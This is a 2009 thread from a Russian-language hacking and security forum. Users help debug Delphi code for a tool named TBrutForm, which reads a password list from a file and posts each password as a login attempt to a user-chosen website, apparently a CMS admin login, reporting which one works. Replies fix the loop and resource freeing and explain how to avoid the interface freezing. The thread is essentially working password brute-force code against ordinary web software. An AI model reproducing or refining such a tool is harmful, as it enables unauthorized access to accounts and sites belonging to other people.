ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

19.12.2009, 14:20
|
|
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме: 1551582
Репутация:
107
|
|
у вас идет освобождение списка:
finally
Data.Free;
CM.Free;
Http.Free;
Str1.Free;
end;
вынесите это за цикл for
|
|
|

19.12.2009, 14:42
|
|
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме: 134032
Репутация:
3
|
|
Сообщение от ZdezBilYa
у вас идет освобождение списка:
вынесите это за цикл for
Вот так? всё ровно ругается...
Код:
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
Http : TidHttp;
CM : TidCookieManager;
Data : TStringList;
StrPage, UserID, UserName : String;
Str1 : TStringList;
i : Integer;
begin
Str1:=TStringList.Create;
Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
try
Http := TIdHTTP.Create(Self);
Data := TStringList.Create;
CM := TidCookieManager.Create(Http);
Http.AllowCookies := true;
Http.CookieManager := CM;
Http.HandleRedirects := true;
Http.Request.Host:=HostEdit.Text;
Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
Http.Request.Referer:=RefererEdit.Text;
Data.Add('subaction=dologin');
Data.Add('username='+NickEdit.Text);
Data.Add('password='+Str1[i]);
Data.Add('selected_language='+BoxLanguage.Text);
StrPage := Http.Post(HTTPEdit.Text, Data);
finally
Data.Free;
CM.Free;
Http.Free;
end;
if Pos('Engine:</td',StrPage) <> 0 then
MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
else
MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!');
end;
Str1.Free;
end;
или за
Код:
finally
Data.Free;
CM.Free;
Http.Free;
end;
Str1.Free;
if Pos('Engine:</td',StrPage) <> 0 then
MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
else
по-моему второй вариант?
всё ровно виснет если два пароля :\
|
|
|

19.12.2009, 21:59
|
|
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме: 1229135
Репутация:
425
|
|
надо ждать пока залогиниться и проверять это в цикле, далее если залогинился, неправильный пароль, то берешь следущий...
функция того компонента, который используешь должна называться что-то вроде LoggedON
и иметь тип булевая
|
|
|

19.12.2009, 22:59
|
|
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме: 181715
Репутация:
50
|
|
Вот так? всё ровно ругается...
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
функция того компонента, который используешь должна называться что-то вроде LoggedON
и иметь тип булевая
бред =)
код проверил - все пашет (с tIdAntiFreeze)
разумеется если
|
|
|

20.12.2009, 00:56
|
|
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме: 134032
Репутация:
3
|
|
Сообщение от Markus_13
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
бред =)
код проверил - все пашет (с tIdAntiFreeze)
разумеется если
Я привык учиться сам.... а купить, что то можно всегда!
Что у тебя работает расскажи? цикл подбора паролей?
|
|
|

20.12.2009, 02:55
|
|
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме: 181715
Репутация:
50
|
|
Я привык учиться сам.... а купить, что то можно всегда!
ты запутался в терминологии: "учиться" и "копипастить" - разные слова)))
Что у тебя работает расскажи? цикл подбора паролей?
код работает (post-запросы проходят, параметры передаются, все работает)
|
|
|

20.12.2009, 15:30
|
|
Участник форума
Регистрация: 08.11.2009
Сообщений: 114
Провел на форуме: 201148
Репутация:
-4
|
|
Сообщение от Kandi
1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?
В Делфи можно организовать цикл:
Код:
while not EOF do
begin
end;
Вроде так
|
|
|

20.12.2009, 23:35
|
|
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме: 1229135
Репутация:
425
|
|
Сообщение от Markus_13
бред =)
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
|
|
|

20.12.2009, 23:37
|
|
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме: 1229135
Репутация:
425
|
|
Сообщение от marcos
В Делфи можно организовать цикл:
Код:
while not EOF do
begin
end;
Вроде так
после перехода на Delphi и соответственно появления TStringList, отпала такая необходимость использовать такое как rewrite(); reset(); readln(); writeln(); eof(); и т.д.
|
|
|

21.12.2009, 02:37
|
|
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме: 181715
Репутация:
50
|
|
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
опять бред - во1ых речь не про потоки, во2ых первый раз слышу про "функцию IdHttp что-то вроде LoggedON"))
при запросе IdHttp приостанавливает выполнение программы до получения ответа сервера, если же использовать TIdAntiFreeze - это позволит убрать подвисания интерфейса
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|